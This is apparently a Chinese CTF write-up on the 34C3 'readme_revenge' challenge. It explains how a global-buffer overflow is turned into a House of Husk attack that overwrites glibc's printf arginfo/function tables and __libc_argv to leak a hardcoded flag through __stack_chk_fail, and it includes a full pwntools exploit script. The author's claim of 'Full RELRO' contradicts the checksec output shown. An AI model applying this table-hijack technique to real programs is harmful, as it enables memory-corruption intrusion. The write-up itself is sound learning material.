0%

House Of Husk-statically-64

readme_revenge 复现

1
2
3
➜  桌面 ./readme_revenge 
yhellow
Hi, yhellow. Bye.
1
2
3
4
5
6
7
8
   readme_revenge: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=2f27d1b57237d1ab23f8d0fc3cd418994c5b443d, not stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/readme_revenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位,statically,开了NX,有canary,Full RELRO

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
_isoc99_scanf((__int64)"%s", name);
printf((__int64)"Hi, %s. Bye.\n", name);
return 0;
}

遇到了 statically 的程序(还挺少见的)

入侵思路

我的第一反应是它可能魔改了 “_isoc99_scanf” 或者 “printf”,这个题目看上去无懈可击,找不到任何的突破口

不妨开始一波逆向分析,想想题目作者把 flag 交到我们手里的手段:

  • 用 system 或者 execve 获取 shell
  • ORW直接读 flag

常规的就这两种,因为这是 statically 程序并且没有 system,execve,所以直接排除第一种可能,那么程序就一定在某个位置写了“flag”字符串(用于open函数)

其中这一句比较可疑:

1
WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1.

看起来像是直接告诉我们 flag 一样,但是很可惜没有发现目标(这个字符串是某个函数自带的)

常规获取 flag 的思路看来解决不了问题,当时我就在想是不是像逆向一样直接把 flag 写死在文件里?一般比赛的 flag 都以比赛名开头,所以我直接搜“34C3”:

1
2
.data:00000000006B4040                 public flag
.data:00000000006B4040 flag db '34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',0

发现 flag 了,因为程序开了 canary ,可以劫持 stack_chk_fail 的打印信息来泄露 flag

1
2
RDI  0x48d187 ◂— imul   rbp, qword ptr [rax], 0x202e7325 /* 'Hi, %s. Bye.\n' */
RSI 0x6b73e0 (name) ◂— 'aaaaaaaa'

这就需要另一种攻击技术 House Of Husk 的帮助了:利用方法就是我们这里的 printf 注册函数的调用链,伪造 __printf_arginfo_table ,将 table['s'] 改为 _stack_chk_fail_local 地址,将 __libc_argv(存放系统路径的地方) 改为输入地址,在输入开始存放 flag_addr

1
2
3
4
v14 = *(const char **)_libc_argv;
if ( !*(_QWORD *)_libc_argv )
v14 = "<unknown>";
_libc_message(2u, "*** %s ***: %s terminated\n", a7, a8, a9, a10, a11, a12, a13, a14, a1, v14, a5, a6); /* 伪代码有点难看,这里只用注意V14 */

这道题可以直接覆盖 printf_arginfo_tableprintf_function_table 不需要借用 main_arena,想比常规的 House Of Husk 更为简单

先看exp吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.update(arch='amd64',os='linux',log_level='info')

elf = ELF('./readme_revenge')
p = process('./readme_revenge')

printf_function_table = 0x6b7a28
printf_arginfo_table = 0x6b7aa8
input_start_addr = 0x6b73e0
stack_chk_fail = 0x4359b0
flag_addr = 0x6b4040
argv_addr = 0x6b7980

def exp():
payload = p64(flag_addr)
payload = payload.ljust(0x73 * 8,'\x00')# 's'的ascii值就是0x73
payload += p64(stack_chk_fail)# 在's'的spec索引中写入stack_chk_fail
payload = payload.ljust(argv_addr-input_start_addr,'\x00')
payload += p64(input_start_addr)# 在argv_addr中写入input_start_addr
payload = payload.ljust(printf_function_table-input_start_addr,'\x00')
payload += p64(1)#在printf_function_table中写入'1'
payload = payload.ljust(printf_arginfo_table-input_start_addr,'\x00')
payload += p64(input_start_addr)# 在printf_arginfo_table中写入input_start_addr
p.sendline(payload)
p.interactive()

exp()

这里就是把 input_start_addr (输入的起始地址) 当成 printf_arginfo_table


小结:

目前还是有点不懂该漏洞的运作原理,抛开漏洞利用不谈,我测试了正常情况的 printf_arginfo_tableprintf_function_table ,发现它们都是NULL,所以我有点搞不懂这两个表在 printf 中的作用

不过程序可以打通是事实,我也只能认为程序会优先执行 printf_arginfo_table 里面所指向的解析函数了(虽然我在源码中没有找到依据)